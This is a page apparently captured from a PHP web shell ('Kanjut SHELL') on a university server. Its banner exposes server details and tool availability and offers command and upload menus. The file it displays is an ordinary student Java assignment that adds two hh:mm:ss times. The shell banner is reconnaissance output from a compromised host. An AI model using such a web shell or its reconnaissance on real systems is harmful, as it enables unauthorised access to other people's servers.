Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.218.38.67
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/vnlaughlin/../owpile/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/vnlaughlin/../owpile/assignment8.java
//Orlando Pile
//Dr. Wang
//Goal:Write a code to read two time values in the form of hh:mm:ss from a file each time
//		(click here, total less than 50 lines).
//		The first one represents the time when a process was just fetched into the CPU,
//		and the second represents the running time.
//		The code should output the finishing time in the same format.
import java.util.Scanner;
import java.io.File;

public class assignment8
{
        public static void main(String[] args)
                throws java.io.FileNotFoundException
        {

        				int[] processhours = new int[50];
				        int[] processminutes = new int[50];
				        int[] processseconds = new int[50];
				        int[] runhours = new int[50];
				        int[] runminutes = new int[50];
				        int[] runseconds = new int[50];
        				int counter = 0;
                Scanner input = new Scanner(new File("assign8.txt"));



        	while(input.hasNext())
        	{
        	String str = input.next();      // hh:mm:ss
                                String[] parts = str.split(":", 3);
                                // convert string to integer
                                processhours[counter] = Integer.parseInt(parts[0]);
                                processminutes[counter] = Integer.parseInt(parts[1]);
                                processseconds[counter] = Integer.parseInt(parts[2]);

                 str = input.next();    // hh:mm:ss
                                String[] part = str.split(":", 3);
                                // convert string to integer
                                runhours[counter] = Integer.parseInt(part[0]);
                                runminutes[counter] = Integer.parseInt(part[1]);
                                runseconds[counter] = Integer.parseInt(part[2]);
        			counter++;
        	}
					input.close();
					for (int i=0; i<counter; i++)
					{
						processseconds[i] = runseconds[i] + processseconds[i];
						processminutes[i] = runminutes[i] + processminutes[i];
					  processhours[i] = runhours[i] + processhours[i];
					  if (processseconds[i]> 59)
					  {
					  	processseconds[i]=processseconds[i]-60;
					  	processminutes[i]++;
					  }
					  if (processminutes[i]>59)
					  {
					  	processminutes[i]=processminutes[i]-60;
					  	processhours[i]++;
					  }
					  while(processhours[i]>23)
					  {
					  	processhours[i] = processhours[i]-24;
					  }

					 	System.out.println(String.format("%02d",processhours[i]) + ":" + String.format("%02d",processminutes[i]) + ":" + 
String.format("%02d",processseconds[i]));
					}

				}
}



Stv3n404 - 2023